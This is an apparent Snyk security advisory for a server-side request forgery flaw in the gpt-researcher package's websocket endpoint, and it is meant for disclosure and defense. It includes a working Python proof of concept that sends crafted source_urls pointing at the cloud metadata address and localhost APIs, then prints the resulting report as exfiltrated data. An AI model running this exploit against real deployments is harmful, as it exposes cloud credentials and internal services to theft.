Server-side Request Forgery (SSRF) Affecting gpt-researcher package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.28% (20th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GPTRESEARCHER-15917485
  • published6 Apr 2026
  • disclosed6 Apr 2026
  • creditYu Bao

Introduced: 6 Apr 2026

CVE-2026-5633  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

There is no fixed version for gpt-researcher.

Overview

gpt-researcher is a GPT Researcher is an autonomous agent designed for comprehensive web research on any task

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ws Endpoint component when processing the source_urls argument. An attacker can access internal resources or perform unauthorized requests by supplying crafted URLs remotely.

PoC

import asyncio
import websockets
import json

async def ssrf_exploit():
    uri = 'ws://target:8000/ws'
    async with websockets.connect(uri) as ws:
        payload = json.dumps({
            'task': 'summarize this page',
            'report_type': 'research_report',
            'report_source': 'static',
            'source_urls': [
                'http://169.254.169.254/latest/meta-data/',
                'http://127.0.0.1:8000/files/',
                'http://127.0.0.1:8000/api/reports'
            ],
            'tone': 'Objective',
            'agent': 'Auto Agent',
            'repo_name': '',
            'branch_name': ''
        })
        await ws.send('start ' + payload)

        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=60)
                data = json.loads(msg)
                msg_type = data.get('type', 'unknown')
                output = data.get('output', '')

                if msg_type == 'logs':
                    print(f"[LOG] {output[:200]}")
                elif msg_type == 'report':
                    print(f"\n{'='*60}")
                    print(f"EXFILTRATED DATA via SSRF:")
                    print(f"{'='*60}")
                    print(output[:2000])
                    break
            except asyncio.TimeoutError:
                print("Timeout waiting for response")
                break

asyncio.run(ssrf_exploit())

References

CVSS Base Scores

version 4.0
version 3.1